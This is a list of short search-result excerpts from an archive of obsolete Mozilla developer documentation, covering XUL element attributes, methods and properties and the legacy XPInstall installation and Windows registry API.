Stress testing - Archive of obsolete content
the only downside is you can't specify how much of the resource to use, only which one to consume.
String Rosetta Stone - Archive of obsolete content
find a substring nsstring findinreadable(const nsastring& pattern, nsastring::const_iterator start, nsastring::const_iterator end, nsstringcomparator& acomparator = nsdefaultstringcomparator()) std::string size_type find(const basic_string& s, size_type pos = 0) const size_type find(const chart* s, size_type pos, size_type n) const size_type find(const chart* s, size_type pos = 0) const size_type find(chart c, size_type pos = 0) const qstring int qstring::indexof ( const qstring & str, int from = 0, qt::casesensitivity cs = qt::casesensitive ) const format a printf style string nsstring appendprintf() std::string n/a qstring qstring & qstring::sprintf ( const char * cformat, ...
Table Cellmap - Border Collapse - Archive of obsolete content
information storage each cellmap entry stores for tables in the border collapse mode additional information about its top and left edge and its top left corner.
Tamarin Roadmap - Archive of obsolete content
the roadmap is a living document representing current best thinking and is subject to change.
File.windowsShortcut - Archive of obsolete content
file.windowsshortcut in this example, the windowsshortcut method is used to add a shortcut in the program directory ("program" is a keyword for the directory in which the program itself is installed, for example, c:\program files\netscape\netscape 6\" on windows) to windows software (misc.exe) that is installed in the "windows" directory.
InstallTrigger.startSoftwareUpdate - Archive of obsolete content
installtrigger.startsoftwareupdate this is a very simple example of the installtrigger object's principal method, startsoftwareupdate, which takes a string representing the path to the xpi and installs that xpi on the local machine.
Examples - Archive of obsolete content
the following samples demonstrate some of the principal installation functions in the xpinstall api: file.macalias file.windowsshortcut [install.]adddirectory [install.]addfile installtrigger.installchrome installtrigger.startsoftwareupdate windows install example ...
diskSpaceAvailable - Archive of obsolete content
you can use a string representing any file on the disk you want to check, and xpinstall will resolve the reference to the partition itself.
modDate - Archive of obsolete content
example f = getfolder("program"); filesource = getfolder(f, "myfile.txt"); err = file.moddate(filesource); see moddatechanged for an example of comparing the dates of two files.
move - Archive of obsolete content
example source = getfolder("program", "file.txt"); dest = getfolder("chrome"); err = file.move(source, dest); ...
windowsShortcut - Archive of obsolete content
example see file.windowsshortcut in the script examples chapter.
File Object - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
compareTo - Archive of obsolete content
the following constants are defined and available for checking the value returned by compareto: installversion.major_diff installversion.minor_diff installversion.rel_diff installversion.bld_diff installversion.equal installversion.major_diff_minus installversion.minor_diff_minus installversion.rel_diff_minus installversion.bld_diff_minus example this code uses the compareto method to det...
Properties - Archive of obsolete content
buildid of netscape 6 is represented by a time stamp of teh format:yyyymmddhh: 2001031808 means in the year 2001, in the month of march, on the 18th day of the month, at 8:00am.
getFolder - Archive of obsolete content
the value of foldername must be one of the following (info is based on mozilla 1.7 stable branch, might also work in other versions): "chrome" "components" "current user" "defaults" "file:///" "os drive" "plugins" "preferences" "profile" "program" "temporary" "mac apple menu" "mac control panel" "mac desktop" ...
getWinProfile - Archive of obsolete content
file a relative pathname to an initialization file in the directory specified by the folder parameter, such as "royal/royal.ini".
getWinRegistry - Archive of obsolete content
once you have this object, you can call its methods to retrieve or change the registry's content.
performInstall - Archive of obsolete content
moves all components to their final locations, launches any pending executions, and registers the package and all of its subcomponents in the client version registry.
getString - Archive of obsolete content
method of winprofile object syntax string getstring ( string section, string key); parameters the method has the following parameters: section section in the file, such as "boot" or "drivers".
WinProfile Object - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
getValue - Archive of obsolete content
method of winreg object syntax winregvalue getvalue ( string subkey, string valname); parameters the getvalue method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
getValueNumber - Archive of obsolete content
method of winreg object syntax number getvaluenumber ( string subkey, string valname); parameters the getvaluestring method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
getValueString - Archive of obsolete content
method of winreg object syntax string getvaluestring ( string subkey, string valname); parameters the getvaluestring method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
isKeyWritable - Archive of obsolete content
example winreg = getwinregistry(); if ( winreg != null ) { winreg.setrootkey ( winreg.hkey_local_machine ); if(winreg.iskeywritable("software")) { //iskeywritable returned true } else { //iskeywritable returned false } ...
keyExists - Archive of obsolete content
example winreg = getwinregistry(); if ( winreg != null ) { winreg.setrootkey( winreg.hkey_local_machine); if(winreg.keyexists("software\\mozilla")) { //keyexists returned true } else { //keyexists returned false } } ...
valueExists - Archive of obsolete content
example winreg = getwinregistry(); if ( winreg != null ) { winreg.setrootkey( winreg.hkey_local_machine); if(winreg.valueexists("software\\mozilla", "value name")) { //valueexists returned true } else { //valueexists returned false } } ...
browserid - Archive of obsolete content
« xul reference home browserid type: string the id of the browser element to which the findbar is attached.
Flexgroup - Archive of obsolete content
when those elements have reached their maximum sizes, the elements with the next higher flexgroup are flexed.
movetoclick - Archive of obsolete content
if not specified, the default value is used, which varies for each platform.
progressmeter.max - Archive of obsolete content
the default value if not specified is 100 such that the value may be used as a percentage.
allownegativeassertions - Archive of obsolete content
this attribute, if true, which is the default, allows a datasource to negate an earlier assertion.
alwaysopenpopup - Archive of obsolete content
« xul reference home alwaysopenpopup obsolete since gecko 1.9.1 type: boolean note: applies to: thunderbird and seamonkeyif true, the autocomplete popup will be displayed even when there are no matches.
attribute - Archive of obsolete content
when the value of the attribute changes, the broadcast event is called on the observer.
autofill - Archive of obsolete content
« xul reference home autofill new in thunderbird 3 requires seamonkey 2.0 type: boolean if set to true, the best match will be filled into the textbox as the user types.
coalesceduplicatearcs - Archive of obsolete content
this attribute, if true, which is the default, allows a datasource to negate an earlier assertion.
collapse - Archive of obsolete content
« xul reference home collapse type: one of the values below determines which side of the splitter is collapsed when its grippy is clicked.
color - Archive of obsolete content
you can assign a string of the form #rrggbb to this property to change the selected color.
commandupdater - Archive of obsolete content
typically, this is used to update menu commands such as undo and cut based on when an event occurs.
completedefaultindex - Archive of obsolete content
« xul reference home completedefaultindex new in thunderbird 3 requires seamonkey 2.0 type: boolean if true, the best match value will be filled into the textbox as the user types.
panel.consumeoutsideclicks - Archive of obsolete content
« xul reference home consumeoutsideclicks type: boolean controls whether or not the event that caused the popup to be automatically dismissed (or "rolled up") should be consumed or be dispatched as a normal event.
container - Archive of obsolete content
« xul reference home container type: boolean set to true if the element is to act as a container which can have child elements.
containment - Archive of obsolete content
when generating content from a template this is used to determine which resources from the datasource are containers and thus can have child nodes and which ones are not containers.
control - Archive of obsolete content
« xul reference home control type: id this attribute specifies the id of the element with which the label is associated.
curpos - Archive of obsolete content
« xul reference home curpos type: integer the current position of the scrollbar, which ranges from 0 to the value of the maxpos attribute.
current - Archive of obsolete content
to change the currently selected item in a listbox, use the listbox property selecteditem.
currentset - Archive of obsolete content
it might not be equal the value of the currentset property which is computed from the actual dom ...
datepicker.type - Archive of obsolete content
popup a datepicker with three entry fields but an additional dropdown button, which, when pressed, will display a popup calendar grid.
decimalplaces - Archive of obsolete content
the default is 0, which doesn't show any decimal places.
disableautocomplete - Archive of obsolete content
you might use a script to change this attribute.
disableglobalhistory - Archive of obsolete content
« xul reference home disableglobalhistory type: boolean disables global history for the docshell attached to the browser while keeping session history active.
disablehistory - Archive of obsolete content
« xul reference home disablehistory type: boolean disables both session and global history for the docshell attached to the browser.
editable - Archive of obsolete content
the user may enter text into the textbox or select one of the choices by clicking from the drop-down.
empty - Archive of obsolete content
« xul reference home empty type: boolean set to true if the element is a container that contains no children.
enableColumnDrag - Archive of obsolete content
« xul reference home enablecolumndrag type: boolean when set to true, the user may drag the column headers around to change the order in which they are displayed.
enablehistory - Archive of obsolete content
enablehistory new in thunderbird 1requires seamonkey 2.0 type: boolean if true, an arrow button will appear on the end of the textbox which, when pressed, will open a dropdown menu of all available results.
expr - Archive of obsolete content
ArchiveMozillaXULAttributeexpr
« xul reference home expr type: string for xml queries, an xpath expression which returns results.
firstdayofweek - Archive of obsolete content
« xul reference home firstdayofweek type: integer which day of the week to display as the first day in the grid.
flex - Archive of obsolete content
ArchiveMozillaXULAttributeflex
« xul reference home flex type: string (representing an integer) indicates the flexibility of the element, which indicates how an element's container distributes remaining empty space among its children.
forcecomplete - Archive of obsolete content
« xul reference home forcecomplete new in thunderbird 3requires seamonkey 2.0 type: boolean if true, the textbox will be filled in with the best match when it loses the focus.
grippytooltiptext - Archive of obsolete content
this would be used to label the grippy so that the user knows which toolbar it represents.
handleCtrlTab - Archive of obsolete content
« xul reference home handlectrltab type: boolean if set to true or omitted, the tabbox will switch to the next tab when the control and tab keys are pressed.
hidecolumnpicker - Archive of obsolete content
« xul reference home hidecolumnpicker type: boolean when set to false, a drop-down will appear in the upper right corner of the tree, which the user may use to show and hide columns.
homepage - Archive of obsolete content
you can switch to this home page using the gohome method.
icon - Archive of obsolete content
ArchiveMozillaXULAttributeicon
if you are using a button that matches one of these common usages, use the icon attribute to indicate this.
ignorecase - Archive of obsolete content
otherwise, the default value is false, to indicate that the value should match with the same case.
image.onload - Archive of obsolete content
if you change the image, the event will fire again when the new image loads.
increment - Archive of obsolete content
« xul reference home increment type: integer the amount by which the curpos (for scroll bars) or value (for number boxes and scale) attribute changes when the arrows are clicked(or scales are dragged).
insertafter - Archive of obsolete content
this value may be a comma-separated list of ids, which are scanned and the first one found in the window is used.
insertbefore - Archive of obsolete content
this value may be a comma-separated list of ids, which are scanned and the first one found in the window is used.
instantApply - Archive of obsolete content
« xul reference home instantapply type: boolean if true, the preference will be changed as soon as the user interface is modified.
keycode - Archive of obsolete content
« xul reference home keycode type: string key code for keys that do not have displayable characters, such as the enter key or function keys, use this attribute instead of the key attribute.
label - Archive of obsolete content
see also treeitem.label, <label> element examples in javascript <label value="whaw" id="the-big-label" command="the-big-button"/> <button id="the-big-button" label="click me" oncommand="alert(document.getelementbyid('the-big-label').value)"/> <label id="mylabel" value="my label"/> <button label="click me" oncommand="document.getelementbyid('mylabel').setattribute('value','value changed');" /> <checkbox label="my checkbox" id="mycheckbox"/> <button label="another click" oncommand="document.getelementbyid('mycheckbox').setattribute('label','still not checked');"/> <button label="show label of checkbox" oncommand="alert( document.getelementbyid('mycheckbox').getattribute('label') )"/> ...
lightweightthemesfooter - Archive of obsolete content
« xul reference home lightweightthemesfooter type: id specifies the id of an element to which a lightweight theme's footer image will be applied.
listcell.type - Archive of obsolete content
« xul reference home type type: string this attribute is reserved for use by anonymous children of listitem; do not use.
listitem.type - Archive of obsolete content
« xul reference home type type: string you can make an item in a listbox a checkbox by setting this attribute to the value checkbox.
maxlength - Archive of obsolete content
« xul reference home maxlength type: integer the maximum number of characters that the textbox allows to be entered.
mousethrough - Archive of obsolete content
child elements may override this if they specify mousethrough="never".
multiple - Archive of obsolete content
any of the values may match.
negate - Archive of obsolete content
the where clause matches if the condition is false, and does not match if the condition is true.
newlines - Archive of obsolete content
possible values: pasteintact paste newlines unchanged pastetofirst paste text up to the first newline, dropping the rest of the text replacewithcommas pastes the text with the newlines replaced with commas replacewithspaces pastes the text with newlines replaced with spaces strip pastes the text with the newlines removed stripsurroundingwhitespace pastes the text with newlines and adjacent whitespace removed ...
noinitialfocus - Archive of obsolete content
« xul reference homenoinitialfocustype: booleanif false, the default value, the element is considered when determining which element should be initially focused in a dialog.
observes - Archive of obsolete content
if an attribute changes in the broadcaster it is also changed in the observer.
onbookmarkgroup - Archive of obsolete content
« xul reference home onbookmarkgroup not in firefox type: script code this code executes when the user chooses the "bookmark this group of tabs" command.
oncommand - Archive of obsolete content
this occurs when a user selects a menu item or presses a keyboard shortcut attached to the command.
onpaneload - Archive of obsolete content
« xul reference home onpaneload type: script code code defined here is called when the pane has been loaded, much like the load event for a window.
onpopupshown - Archive of obsolete content
« xul reference home onpopupshown type: script code this event is sent to a popup after it has been opened, much like the onload event is sent to a window when it is opened.
pageid - Archive of obsolete content
the wizard always starts with the wizardpage that appears first in the wizard child list.
pageincrement - Archive of obsolete content
« xul reference home pageincrement type: integer the amount by which the value of the curpos or value attribute changes when the tray of the scroll bar (the area in which the scroll bar thumb moves) is clicked, or when the page up or page down keys are pressed.
panel.fade - Archive of obsolete content
« xul reference homefadetype: one of the values belowthe fade attribute, which may only be used with arrow panels, lets you set up a panel that will automatically fade away after a short time.
panel.level - Archive of obsolete content
if anchored, the child window maintains its relative position to its parent window.
panel.noautohide - Archive of obsolete content
« xul reference home noautohide type: boolean if false, the default value, the panel will be hidden when the user clicks outside the panel or switches focus to another application.
parent - Archive of obsolete content
« xul reference home parent type: element tag name if set, the rule will only match the corresponding tag.
parsetype - Archive of obsolete content
« xul reference home parsetype type: string if this attribute is set to integer, the rule will only match rdf nodes with a parse type of integer.
pending - Archive of obsolete content
you can determine if a tab is being restored by checking to see if hasattribute("pending") is true.
persist - Archive of obsolete content
persistence will not remember the absence of an attribute, so for boolean attributes like checked where absence means false, you will need to explicitly set the attribute to false before the window closes (bug 15232).
predicate - Archive of obsolete content
« xul reference home predicate type: uri the predicate or property to match.
preference-editable - Archive of obsolete content
the element should fire change, command, or input event when the value is changed so that the preference will update accordingly.
preference.name - Archive of obsolete content
« xul reference home name type: string the name of the preference to change.
prefpane.selected - Archive of obsolete content
to change the selected pane, use the prefwindow's showpane method.
prefwindow.type - Archive of obsolete content
« xul reference home type type: string set this attribute to child for preference dialogs that are child dialogs of a main preferences window.
primary - Archive of obsolete content
« xul reference home primary type: boolean if set to true, the treecol will have indentation and twisties drawn to the left of it to indicate the hierarchy level of the rows.
priority - Archive of obsolete content
« xul reference home priority type: integer numeric value that specifies the order in which the notifications appear.
properties - Archive of obsolete content
« xul reference home properties type: space-separated list of property names sets the properties of the element, which can be used to style the element.
readonly - Archive of obsolete content
« xul reference home readonly type: boolean if set to true, then the user cannot change the value of the element.
rel - Archive of obsolete content
ArchiveMozillaXULAttributerel
equals the subject and value must match exactly.
reserved - Archive of obsolete content
setting this attribute to "true" indicates that the command is reserved for chrome code and is not available for use in the content.
resizebefore - Archive of obsolete content
« xul reference home resizebefore type: one of the values below this attribute indicates which element to the left or above the splitter should be resized when the splitter is repositioned.
right - Archive of obsolete content
placing the element which contains this attribute within the stack may result in the stack changing size.
rows - Archive of obsolete content
ArchiveMozillaXULAttributerows
if the element contains more than this number of rows, a scrollbar will appear which the user can use to scroll to the other rows.
screenX - Archive of obsolete content
« xul reference home screenx type: integer the horizontal position at which the window appears on the screen.
screenY - Archive of obsolete content
« xul reference home screeny type: integer the vertical position at which the window appears on the screen.
script.type - Archive of obsolete content
note: if the javascript file is in chrome://, setting this attribute to application/javascript will always use the latest available javascript version.
selected - Archive of obsolete content
to change the selection, set either the selectedindex or selecteditem property of the containing element.
setfocus - Archive of obsolete content
if this attribute is false, the focus does not change during navigation.
showcommentcolumn - Archive of obsolete content
for the url history, the comment column will contain the page titles associated with each url.
size - Archive of obsolete content
ArchiveMozillaXULAttributesize
« xul reference home size type: integer the number of characters that can be displayed in the textbox.
sortActive - Archive of obsolete content
« xul reference home sortactive type: boolean this should be set to true for the column which should be sorted by default.
sortDirection - Archive of obsolete content
natural the data is sorted in natural order, which means the order that it is stored in.
src - Archive of obsolete content
ArchiveMozillaXULAttributesrc
examples <iframe id="content-body" src="http://www.mozilla.org/"/> <browser src="http://www.mozilla.org" flex="1"/> <image src='firefoxlogo.png' width='135' height='130'/> see also prefpane.src treecell.src treecol.src script.src stringbundle.src checkbox.src ...
state - Archive of obsolete content
this attribute will be updated automatically as the splitter is moved, and is generally used in a stylesheet to apply a different appearance for each state.
substate - Archive of obsolete content
« xul reference home substate type: one of the values below on splitters which have state="collapsed" and collapse="both", determines which direction the splitter is actually collapsed in.
tabindex - Archive of obsolete content
the tab order is the order in which the focus is moved when the user presses the "tab" key.
tabmodalPromptShowing - Archive of obsolete content
« xul reference home tabmodalpromptshowing type: integer the number of tab modal prompts currently attached to the current tab.
tabs.onselect - Archive of obsolete content
« xul reference home onselect type: script code this event is sent to the tabs element when this tab is changed.
textbox.autoFill - Archive of obsolete content
« xul reference home autofill obsolete since gecko 1.9.1 type: boolean note: applies to: thunderbird and seamonkeyif set to true, the best match will be filled into the textbox as the user types.
textbox.disableAutocomplete - Archive of obsolete content
you might use a script to change this attribute.
textbox.disablehistory - Archive of obsolete content
« xul reference home disablehistory obsolete since gecko 2.0 type: boolean note: applies to: thunderbird and seamonkeyif false, an arrow button will appear on the end of the textbox which will open a dropdown menu of all available results.
textbox.forceComplete - Archive of obsolete content
« xul reference home forcecomplete obsolete since gecko 1.9.1 type: boolean if true, the textbox will be filled in with the best match when it loses the focus.
textbox.onblur - Archive of obsolete content
as of gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10), the script code only runs in the context of the <textbox> element, matching the behavior of all other event handlers.
textbox.onfocus - Archive of obsolete content
as of gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10), the script code only runs in the context of the <textbox> element, matching the behavior of all other event handlers.
textbox.showCommentColumn - Archive of obsolete content
for the url history, the comment column will contain the page titles associated with each url.
textbox.value - Archive of obsolete content
for number boxes, the default is 0 or the minimum value returned by the min property, whichever is higher.
timepicker.increment - Archive of obsolete content
« xul reference home increment type: integer indicates the number of minutes to skip each time the arrows are pressed.
toolbarname - Archive of obsolete content
« xul reference home toolbarname not in seamonkey 1.x type: string the name of the toolbar, which is listed on the show/hide toolbars menu.
tooltip - Archive of obsolete content
if this attribute is set to '_child', the first tooltip child element inside the element is used.
tooltiptextnew - Archive of obsolete content
« xul reference home tooltiptextnew not in firefox type: string used to set the text which appears in the tooltip when the user moves the mouse over the new button in the tab row.
unread - Archive of obsolete content
« xul reference home unread type: boolean this attribute is set to true if the tab is unread; that is, either it has not yet been selected during the current session, or has changed since the last time it was selected.
uri - Archive of obsolete content
ArchiveMozillaXULAttributeuri
elements that appear inside the element with the attribute will be repeated for each node in the rdf datasource.
value - Archive of obsolete content
be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
var - Archive of obsolete content
ArchiveMozillaXULAttributevar
« xul reference home var type: string for the xul assign attribute, this is the variable to assign the value to; otherwise it's a reference to a template variable such as "?name".
wait-cursor - Archive of obsolete content
« xul reference home wait-cursor type: boolean set this attribute to true to have the cursor switch to a waiting cursor while the mouse is hovering over the element.
broadcast - Archive of obsolete content
the broadcast event is executed when the attributes of the element (such as a broadcaster) being listened to are changed.
command - Archive of obsolete content
ArchiveMozillaXULEventscommand
how it is activated varies for each element and in many cases, there are several ways to activate an element.
open - Archive of obsolete content
ArchiveMozillaXULMethodOpen
« xul reference home open( mode ) return type: no return value opens the findbar using the specified mode, which should be one of find_normal, find_typeahead, or find_links.
removeTabsProgressListener - Archive of obsolete content
« xul reference home removetabsprogresslistener( listener ) return type: no return value removes a progress listener to the browser which has been monitoring all tabs.
startFind - Archive of obsolete content
this opens the findbar, focuses the edit field for the search term, and selects its contents.
toggleHighlight - Archive of obsolete content
« xul reference home togglehighlight( highlight ) return type: no return value turns highlighting of text matching the search term on and off; specify false to disable highlighting or true to enable it.
addProgressListener - Archive of obsolete content
« xul reference home addprogresslistener( listener ) return type: no return value add a progress listener to the browser which will monitor loaded documents.
addSession - Archive of obsolete content
the argument should be an object which implements the nsiautocompletesession interface.
addTab - Archive of obsolete content
ArchiveMozillaXULMethodaddTab
« xul reference home addtab( url, referreruri, charset, postdata, owner, allowthirdpartyfixup ) addtab( url, {referreruri: ..., charset: ..., postdata: ..., owner: ..., allowthirdpartyfixup: ..., relatedtocurrent: ...
appendGroup - Archive of obsolete content
the argument should be an array of objects, one for each document to load.
collapseToolbar - Archive of obsolete content
« xul reference home collapsetoolbar( toolbar ) not in firefox return type: no return value collapse the given toolbar which should be contained within the toolbox.
expandToolbar - Archive of obsolete content
« xul reference home expandtoolbar( toolbar ) not in firefox return type: no return value expand the given toolbar which should be contained in the toolbox.
getBrowserIndexForDocument - Archive of obsolete content
the returned index is dependent on the tabs in the tabbrowser and is invalidated when the tab ordering changes.
getEditor - Archive of obsolete content
« xul reference home geteditor( window ) return type: nsieditor returns the editing interface for the editor which contains numerous methods for manipulating the document.
getElementsByAttributeNS - Archive of obsolete content
« xul reference home getelementsbyattributens(ns, attrib, value ) return type: dom nodelist returns an array of all the child elements of the element that have the attribute namespace given by the first argument, the attribute name given by the second argument, and the value given by the third argument.
getFormattedString - Archive of obsolete content
« xul reference home getformattedstring( key, strarray ) return type: string looks up the format string for the given key name in the string bundle and returns a formatted copy where each occurrence of %s (uppercase) is replaced by each successive element in the supplied array.
getHTMLEditor - Archive of obsolete content
« xul reference home gethtmleditor( window ) return type: nsihtmleditor returns the html editing interface for the editor which contains methods for manipulating an html document.
getNextItem - Archive of obsolete content
« xul reference home getnextitem( startitem, delta ) return type: element this method returns the item a given distance (delta) after the specified startitem, or null if no such item exists.
getNotificationWithValue - Archive of obsolete content
if no matching value is found, returns null.
getPreviousItem - Archive of obsolete content
« xul reference home getpreviousitem( startitem, delta ) return type: element this method returns the item a given distance (delta) before the specified startitem, or null if no such item exists.
getSelectedItem - Archive of obsolete content
« xul reference home getselecteditem( index ) return type: element when multiple items are selected, you can retrieve each selected item using this method.
getTabForBrowser - Archive of obsolete content
« xul reference home gettabforbrowser( browser ) return type: tab returns the xul tab which contains the specified browser.
hasUserValue - Archive of obsolete content
« xul reference home hasuservalue() return type: boolean returns true if the preference has been changed from its default value.
loadGroup - Archive of obsolete content
the argument should be an array of objects, one for each document to load.
loadURIWithFlags - Archive of obsolete content
« xul reference home loaduriwithflags( uri, flags, referrer, charset, postdata ) return type: no return value load a url into the document, with the specified load flags, the given referrer, character set, and post data.
moveTo - Archive of obsolete content
ArchiveMozillaXULMethodmoveTo
if both x and y have the value -1 the call will realign the popup with its anchor node.
preferenceForElement - Archive of obsolete content
« xul reference home preferenceforelement( uielement ) return type: preference element returns the preference element to which a user interface element is attached.
reload - Archive of obsolete content
ArchiveMozillaXULMethodreload
« xul reference home reload() return type: no return value reloads the document in the browser element on which you call this method.
removeItemAt - Archive of obsolete content
« xul reference home removeitemat( index ) return type: element removes the child item in the element at the specified index.
removeSession - Archive of obsolete content
the argument should be an object which implements the nsiautocompletesession interface.
removeTab - Archive of obsolete content
if only one tab is displayed, this method does nothing (unless the preference browser.tabs.closewindowwithlasttab is true, in which case the window containing the tab is closed).
replaceGroup - Archive of obsolete content
the argument should be an array of objects, one for each document to load.
setSelectionRange - Archive of obsolete content
« xul reference home setselectionrange( start, end ) return type: no return value sets the selected portion of the textbox, where the start argument is the index of the first character to select and the end argument is the index of the character after the selection.
showPane - Archive of obsolete content
« xul reference home showpane( prefpane ) return type: no return value switch to a particular pane.
sizeTo - Archive of obsolete content
ArchiveMozillaXULMethodsizeTo
« xul reference home sizeto( width, height ) return type: no return value changes the current size of the popup to the new width and height.
startEditing - Archive of obsolete content
« xul reference home startediting( row, column ) return type: no return value activates user editing of the given cell, which is specified by row index number and the nsitreecolumn in which it is located.
stopEditing - Archive of obsolete content
if the shouldaccept parameter is true, the cell's label is changed to the edited value (the tree view's nsitreeview.setcelltext() method is called to change the cell contents).
Node - Archive of obsolete content
ArchiveMozillaXULNode
mation on this interface please see dom-level-2-core short element_node 1 short attribute_node 2 short text_node 3 short cdata_section_node 4 short entity_reference_node 5 short entity_node 6 short processing_instruction_node 7 short comment_node 8 short document_node 9 short document_type_node 10 short document_fragment_node 11 short notation_node 12 methods node appendchild ( node newchild ) node clonenode ( boolean deep ) boolean hasattributes ( ) boolean haschildnodes ( ) node insertbefore ( node newchild , node refchild ) boolean issupported ( string feature , string version ) void normalize ( ) node removechild ( node oldchild ) node replacechild ( node newchild , node oldchild ) ...
Other Resources - Archive of obsolete content
demostrates flexing, layouts, set up of trees and such.
Printing from a XUL App - Archive of obsolete content
including extensions, themes, and xulrunner applications extension packaging: specific information about how to package extensions theme packaging: specific information about how to package themes multiple-item extension packaging: specific information about multiple-item extension xpis xul application packaging: specific information about how to package xulrunner applications chrome registration printing in xul apps ...
browser - Archive of obsolete content
« xul reference browser type: browser element lets you set and get the browser in which the findbar is located.
hasUserValue - Archive of obsolete content
« xul reference hasuservalue type: boolean true if the preference has been changed from its default value.
accessKey - Archive of obsolete content
« xul reference accesskey type: character gets and sets the value of the accesskey attribute.
accessibleType - Archive of obsolete content
possible values are: constant value xulalert 1001 xulbutton 1002 xulcheckbox 1003 xulcolorpicker 1004 xulcolorpickertile 1005 xulcombobox 1006 xuldropmarker 1007 xulgroupbox 1008 xulimage 1009 xullink 100a xullistbox 100b xullistcell 1026 ...
boxObject - Archive of obsolete content
« xul reference boxobject type: nsiboxobject this property is available for elements that are derived from boxes, which is most displayable xul elements.
clickSelectsAll - Archive of obsolete content
« xul reference clickselectsall type: boolean if set to true, the contents of the textbox are selected when focused; otherwise, the cursor is left unchanged.
color - Archive of obsolete content
ArchiveMozillaXULPropertycolor
you can assign a string of the form #rrggbb to this property to change the selected color.
container - Archive of obsolete content
if the variable is the same as the uri attribute on the content element, the resource must be a container element in order to match.
contentPrincipal - Archive of obsolete content
« xul reference contentprincipal type: nsiprincipal this read-only property contains the principal for the content loaded in the browser, which provides security context information.
contentViewerEdit - Archive of obsolete content
« xul reference contentvieweredit type: nsicontentvieweredit this read-only property contains the nsicontentvieweredit which handles clipboard operations on the document.
contextMenu - Archive of obsolete content
note that the value of this property does not reflect the value of the context attribute, which is otherwise identical to the contextmenu attribute.
currentItem - Archive of obsolete content
« xul reference currentitem type: listitem element returns the currently focused item in the list box, which is only useful in a multiple selection list box.
currentPage - Archive of obsolete content
you can modify this value to change the current page.
currentPane - Archive of obsolete content
to change the current pane, use the showpane method.
currentSet - Archive of obsolete content
you may change the current set of items by setting this property.
currentURI - Archive of obsolete content
to change the url, use the loaduri method.
date - Archive of obsolete content
ArchiveMozillaXULPropertydate
set this property to change the selected date.
datepicker.value - Archive of obsolete content
set this property to change the selected date.
decimalSymbol - Archive of obsolete content
« xul reference decimalsymbol type: string the character used for the decimal place indicator.
editingSession - Archive of obsolete content
« xul reference editingsession type: nsieditingsession the editing session for the editor which is used to initialize the editor.
enableColumnDrag - Archive of obsolete content
« xul reference enablecolumndrag type: boolean when set to true, the user may drag the column headers around to change the order in which they are displayed.
externalToolbars - Archive of obsolete content
« xul reference externaltoolbars type: array of elements an array of external toolbars; that is, toolbar elements that should be considered to be members of this toolbox, even if they are not actually children of the toolbox.
firstOrdinalColumn - Archive of obsolete content
« xul reference firstordinalcolumn type: treecol element a reference to the first treecol element, which or may not be the first column displayed in the tree.
hour - Archive of obsolete content
ArchiveMozillaXULPropertyhour
set this property to change the selected hour.
isWaiting - Archive of obsolete content
« xul reference iswaiting type: boolean this property is set to true during the period while waiting for the timeout between the time when a user has pressed a key and a search is performed.
label - Archive of obsolete content
ArchiveMozillaXULPropertylabel
see also richlistitem.label textbox.label ...
listbox.currentIndex - Archive of obsolete content
in a multiple selection list, the currently focused row may be modified by the user without changing the selection by pressing the control key and pressing the cursor keys to navigate.
locked - Archive of obsolete content
« xul reference locked type: boolean if true, the preference has been locked and disabled in the system configuration, preventing the value from being changed.
markupDocumentViewer - Archive of obsolete content
« xul reference markupdocumentviewer type: nsimarkupdocumentviewer this read-only property contains the nsimarkupdocumentviewer which is responsible for drawing the document.
maxLength - Archive of obsolete content
« xul reference maxlength type: integer the maximum number of characters that the textbox allows to be entered.
menuBoxObject - Archive of obsolete content
« xul reference menuboxobject type: nsimenuboxobject a reference to the nsimenuboxobject which implements the menu.
minute - Archive of obsolete content
set this property to change the selected minute.
month - Archive of obsolete content
ArchiveMozillaXULPropertymonth
set this property to change the selected month.
name - Archive of obsolete content
ArchiveMozillaXULPropertyname
« xul reference name type: string the name of the preference to change.
onFirstPage - Archive of obsolete content
« xul reference onfirstpage type: boolean this property is set to true if the user is on the first page, which may or may not be the first index.
pageIndex - Archive of obsolete content
you can change the selected page by modifying this property.
pageid - Archive of obsolete content
the wizard always starts with the wizardpage that appears first in the wizard child list.
predicate - Archive of obsolete content
« xul reference predicate type: uri the predicate or property to match.
preferenceElements - Archive of obsolete content
« xul reference preferenceelements type: dom nodelist holds a list of the ui elements in the pane that are attached to preferences.
radio.control - Archive of obsolete content
« xul reference control type: radiogroup element returns the enclosing radiogroup that the radio element is contained within, which may or may not be its direct parent.
scrollBoxObject - Archive of obsolete content
« xul reference scrollboxobject type: nsiscrollboxobject the scroll box object implements the nsiscrollboxobject interface, which may be used to retrieve and adjust the scroll position of the list box.
scrollIncrement - Archive of obsolete content
« xul reference scrollincrement type: integer a read only property that lets you retrieve the number of pixels by which scrolling will occur when the arrowscrollbox is clicked.
second - Archive of obsolete content
set this property to change the selected second.
securityUI - Archive of obsolete content
« xul reference securityui type: nsisecurebrowserui the read-only property holds an object which may be used to determine the security level of the loaded document.
selectedItem - Archive of obsolete content
the listbox, richlistbox, radiogroup, etc., not the list item that was selected) when it is changed either via this property, the selectedindex property, or changed by the user.
selectedPanel - Archive of obsolete content
a select event will be sent when the selected panel is changed.
selectedTab - Archive of obsolete content
« xul reference selectedtab type: tab element a reference to the currently selected tab, which will always be one of the tab elements in the tabs element.
selectionEnd - Archive of obsolete content
the value specifies the index of the character after the selection.
selectionStart - Archive of obsolete content
the value specifies the index of the first selected character.
sessionHistory - Archive of obsolete content
« xul reference sessionhistory type: nsishistory this read-only property contains the nsishistory object which holds the session history.
stringBundle - Archive of obsolete content
« xul reference stringbundle type: nsistringbundle returns the xpcom string bundle object which implements nsistringbundle.
tabbrowser.tabs - Archive of obsolete content
« xul reference tabs type: array a nodelist containing the tab objects for each tab in the tabbrowser.
timepicker.value - Archive of obsolete content
set this property to change the time.
toolboxid - Archive of obsolete content
